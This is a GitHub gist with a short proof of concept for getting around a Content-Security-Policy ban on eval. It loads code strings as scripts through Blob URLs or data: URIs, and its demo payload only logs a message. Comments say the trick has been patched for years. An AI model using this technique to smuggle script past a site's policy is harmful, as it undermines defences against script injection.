Skip to content

Instantly share code, notes, and snippets.

@dun4n

dun4n/bypass.csp.html

Last active March 22, 2024 14:11
Show Gist options
  • Save dun4n/8568654 to your computer and use it in GitHub Desktop.
Save dun4n/8568654 to your computer and use it in GitHub Desktop.
Download ZIP
Bypass the CSP "unsafe-eval"
Raw
bypass.csp.html
<!DOCTYPE html>
<html>
<head>
<meta content="script-src 'self';" http-equiv="Content-Security-Policy">
<script type="text/javascript" src="csp.js"></script>
</head>
</html>
Raw
csp.js
function cspEval(js) {
var script = document.createElement("script")
// No Blob ? No CSP !
if(Blob) {
var blob = new Blob([js], {"type": "application/javascript"})
script.src = URL.createObjectURL(blob)
} else {
var dataUri = "data:application/javascript," + js
script.src = dataUri
}
var callback = function() { document.body.appendChild(script) }
document.readyState === "complete" ? callback() : window.onload = callback
}
cspEval("console.log('Bypass CSP unsafe-eval')")
@Kreijstal
Copy link

doesnt even work in github.com lol

@dun4n
Copy link
Author

dun4n commented Mar 22, 2024

patched for several years... look at the date of the last revision 🤣

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment